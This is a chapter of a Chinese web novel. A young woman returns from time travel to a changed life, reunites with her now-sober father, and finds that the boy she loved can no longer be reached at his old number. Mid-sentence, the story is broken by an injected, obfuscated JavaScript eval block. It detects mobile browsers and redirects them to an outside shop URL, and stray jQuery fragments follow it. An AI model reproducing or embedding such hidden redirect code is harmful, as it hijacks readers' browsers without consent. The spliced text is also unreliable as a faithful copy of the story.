耳机中，音乐变成德彪西《月光》。曲葵回过神，使劲掐了一把大腿，痛得差点叫出声。


    扯下耳机朝外望去，车窗外一望无际的白色平原，玻璃反射的女人裹着厚厚棉服，像只企鹅。


    曲葵凑得更近去看，这张脸分明是她二十六岁的模样，只是眼神看上去不再充满厌世和疲惫。


    曲葵还未做出反应，头部传来一阵骨刺般钝痛，好像被人用锤子狠狠敲打。空缺八年的记忆涌入大脑，以惊涛骇浪趋势填平每一处空缺的记忆。


    2020年1月19日，她回到未来，有一个看上去很平凡又似乎圆满的人生。


    放弃音乐道路，高三复读一年，考起邻市一所本科学校，就读经济管理学，最近在忙研三的论文。今天学校放两周年假，曲葵乘坐高铁回潼林，再和曲林坐飞机回扬明祭祖。


    她撞见林语邱出轨的事，没有将母亲离开的事情怪罪到父母吵架之上，不再自怨自艾，少了和曲林的争端，曲林没有酗酒也没有赌博。不过两人很少提起林语邱，而林语邱也没有主动和曲葵联系过，好像他们的人生中从来没有存在过这个人。


    “潼林就是不一样，每年冬天都下这么大的雪，真神奇。”邻座女生举起手机自拍，转头对她说，“葵葵你座位靠窗，帮我拍下外面吧，我要发朋友圈。”


    曲葵望着那张看上去陌生又熟悉的面孔没说话。记忆告诉她女生的名字，叫宋飞菲，她的舍友，家也住潼林，两人假期会相约坐高铁回家。


    宋飞菲推推她，抱怨：“干吗又发呆啊。”


    “想起高中的事。”曲葵面不改色拿走她的手机，对着窗外雪景，调整角度，拍照。


    宋飞菲好奇：“高中啊，都过去那么多年了，我连当初暗恋的男生样子都想不起来，你想到了什么？”


    曲葵把手机还她：“没什么。”


    “你的拍照技术还是那么好。”宋飞菲看后粲然一笑，“不觉得这画面很像一部电影吗？”


    “《雪国列车》？”曲葵说。


    “对，还是我们一起看的。”宋飞菲抱着手机戳戳点点，忽然冷哼道，“靠，一个月前加我的那个学弟问我你有没有男朋友，我就奇怪了，这些人都不敢亲自问你吗？”


    “不知道。”曲葵心不在焉地说。


    宋飞菲好奇心泛滥：“你是不是为了谁在守身如玉啊？怎么研究生三年都没见你谈过一个。”


    “只是不想谈恋爱。”


    “不信，那你怎么解释你脖子上的项链，之前有人送你项链你不要，还说自己不喜欢穿金戴银。”


    闻言，曲葵伸手一摸，果然在锁骨处摸到一条项链。


    和许一宴送她的那条银项链一模一样。复古风格，小小的银色方牌上镌刻着一束向日葵。方牌背后还有她名字的首字母缩写，做工很精细。


    曲葵并不想回答。


    宋飞菲还想八卦，曲葵电话响了。


    她手机依旧是高中用的那台，看上去很旧，屏幕上有几条裂痕。


    来电联系人是爸爸，曲葵接通电话。


    “快到了吗？”曲林声音听起来更沙哑老气，但很健康，吐字清晰，没有醉酒后的胡言乱语。


    “快了。”曲葵回避着心中的异样感，这八年她没有参与的人生对她来既真实又陌生，“一小时后就到。”


    “你和你爸爸感情真好。”宋飞菲靠过来，“我爸从来不给我打电话问我什么时候到。”


    曲葵只是笑笑，说，“我睡一会儿。”


    “好，到站我叫你。”


    曲葵闭上眼睛，开始消化记忆。


    半小时后，宋飞菲叫她。两人下高铁分别，曲葵坐进一辆的士。出租车在环线公路上上下下，左拐右拐，停在一个老旧小区门口。


    未来改变，家还是原来那处。雪地上，几个身穿棉服的老人围着石桌下象棋，都是熟面孔。曲葵拖着行李箱进去，臆想中邻居看笑话的冷嘲热讽没有出现，因为曲林也在其中。


    曲葵眼眶湿润很快，停下来，等到呼吸平复下来才走过去叫他：“爸。”


    “回来了，马上结束。”曲林乐呵呵和她打招呼，旋即低头下去，抓起一颗棋子，啪地放下，“将军！”曲林得意洋洋地说：“老李啊，你怎么又输了呢？”


    “曲老头你这棋技到底是练了多久。”对面那个老人咬牙切齿地说，“我就不信了赢不了你，再来一局。”


    曲林起身摆摆手：“不打了，我闺女还等着我。”


    几个人才望着曲葵一通夸赞，曲林的自豪上扬的嘴角就没下来过。


    末了有个大妈问：“你闺女谈恋爱了吗，我一个朋友她儿子今年……”


    “行了你都说多少遍了。”曲林说，“小辈的事情别瞎掺和。”


    “你这说的什么话，女人要是过了三十岁……”


    “这不是还没过嘛，她还在读书呢，学校里条件好的那么多要想谈早谈了，况且她有喜欢的人。”曲林不想跟她胡诌，拉着曲葵走了。


    曲葵跟在身后抬头望他，曲林头发白了很多，背依旧挺直。这才是曲林该有的未来，正常退休，拿着一份可观的退休金，和邻居相处融洽，喝茶下象棋。


    钥匙转动锁孔，门开了，家中干净整洁，没有酒味。


    “我早上去菜市场买了条两斤多的鱼，给你煮扬明特色酸菜鱼。”曲林走进厨房，从洗菜池里提起一条草鱼。


    曲葵看着鱼生龙活虎摆着尾巴，水滴在光线中到处飞溅。她笑，没什么实感地说：“那我可得好好期待一下。”


    “机票已经买好，订的是明早九点。”曲林说，“你先收拾吧，我们应该会在扬明呆一个星期。”


    “我们住哪？原来的那套房需要打扫吧。”家中开着空调，曲葵脱下长款羽绒服，挂在衣帽架上。


    “我一个朋友那，已经联系好了。”


    曲葵走进房间，装修还是简约风格，墙上挂着吉他，是她高中用的那把，曲葵时不时会弹一下。


    曲葵打开行李箱，观察自己带了些什么东西。入目眼帘的就是一本《病隙碎笔》。翻开，一张有折痕，有些泛黄的白色书签，摘抄着的一段诗，自从认出字迹的主人是许一宴之后，曲葵偷偷把那张书签留了下来。


    初到潼林，她去书店买了同款书，看完才知诗原来还有下一段。


    「午后，如果阳光静寂


    你是否能听出


    往日已归去哪里？


    在光的前端，或思之极处


    在被时间忽略的存在之中


    生死同一」


    她一直记得很深。


    曲葵把书放在枕边，躺在床上玩手机，宋飞菲发了一条“已经到家”的消息，曲葵回复“我也到了”，旋即退出去，点开一个很久不用的app。


    她有两个高中班级群，高三(七)班那个群已经很多年没人说话。毕业后班里的人各奔东西，除了大一时几个人商量着要去看王范，最后也因为各种原因不了了之。


    很多人想忘记高中压抑又枯燥的生活，对于曲葵来说，那生活就在昨天。


    心中空落落的，总觉得缺了点什么。


    曲葵看着许一宴离线头像。最后和他发消息的时间是曲葵刚到潼林那会儿，二月份潼林下大着雪，她下车看到银装素裹的天地，于是给许


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16955136|191670||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    一宴发去拍摄的雪景。不久后许一宴发来一个电话号码，并回复：【你以后回扬明，给我打电话吧。】


    曲葵：【嗯，项链我看到了，很漂亮，谢谢。】


    可惜曲葵没有回扬明，也没有机会给许一宴打电话。


    现在，他有女朋友吗，或许……结婚了吗？


    曲葵没有一点关于许一宴的消息或是记忆。


    迟疑后拨通了电话。


    “嘟——嘟——您好，您拨打的号码暂时无人接听，请稍后再拨……”


    …


    “嘟——嘟——您好，您拨打的号码暂时无人接听，请稍后再拨……”


    连续两遍，手机中的电子音在曲葵忐忑不安的心跳声中停止。


    曲葵只好给许一宴发消息：【许一宴，我明天回扬明。】


    【到时候我们见一面，好不好？】


    直到第二天曲葵下飞机，又转火车回到扬明，也没收到许一宴的回复。


    扬明大变样，离开是还在修建中的高楼已经竣工，老远就能看见几栋高耸入云的大厦。而街区还是老样子，只是开的铺子不在是十年前熟知的那些了。


    曲葵还没来得及回忆往昔，就坐跟着曲林坐公交去他城郊的朋友家，一栋看上去老旧的筒子楼，女儿结婚后在小学附近买了房，这年要去男方老家过，正好空出两间房。


    晚上曲林请当年共事的几个同事吃饭下馆子，饭桌上曲葵跟着一圈长辈不停喝酒，曲葵喝得头疼，就和曲林说：“爸，我先走了。”


    曲林问：“要不我和你一起？”


    “不用了，”曲林和同事难的一聚，曲葵也不想扫兴：“我想一个人逛逛，等会自己打车回去。”


    “行，你注意点安全。”


    曲葵刚走出饭店，就被冷得清醒了些，拉上衣服拉链，走进夜色。虽然时间上间隔八年，但她还记得这些道路。曲葵戴上羽绒服帽子，一个人静静在路上走，思考许一宴为什么不回她消息。


    是不想见面吗？


    心中有事，不一会儿她就走到和许一宴打台球的那条街，西餐厅还开着，不过人没多少，曲葵走上餐厅对面的楼梯，去了二楼。


    台球馆已经关闭，球桌已经搬空，玻璃门上贴着铺面转让的公告，复印纸在寒风中摇摇欲坠。


    曲葵在二楼的黑暗中站了一会儿，借着半醒半醉的酒意，给许一宴打去第三个电话。


    “嘟——嘟——”


    漫长的等待，好像时间静止。


    就在曲葵以为无人接听的电子提示音就要响起来时，终于有人接通电话。


    “你好，是哪位？”是一个温和的、彬彬有礼的女声。


    曲葵心凉半截，重重沉下去的同时又有一种想听到许一宴亲自承认的不甘心，她自暴自弃地问：“许一宴在吗。”


    避免引起女人误会，她快速补充：“我是他同事，有工作方面问题找他。”


    “许什么？”女生疑惑反问，“你是不是打错人了？”


    “你不认识许一宴吗？”曲葵追问道，“我记得，这是他的电话号码。”


    “不认识，我从来没听说过这个名字。”几秒后女生微微提高音量，反应过来，“啊，你找的难道是前号主？”


    曲葵酒意清醒大半，电流感顺着指尖默然无声抵达心脏，心率在惊慌中变得沉重而剧烈，裸露在寒风中的皮肤不住战栗。眼前有些恍惚，曲葵稳住身形，斟酌用词，小心翼翼地问：“麻烦问一下，这个号码你用多久了？”


    “三年。”女生说。


    “……我知道了，谢谢。”曲葵失神地说。


    电话被挂断。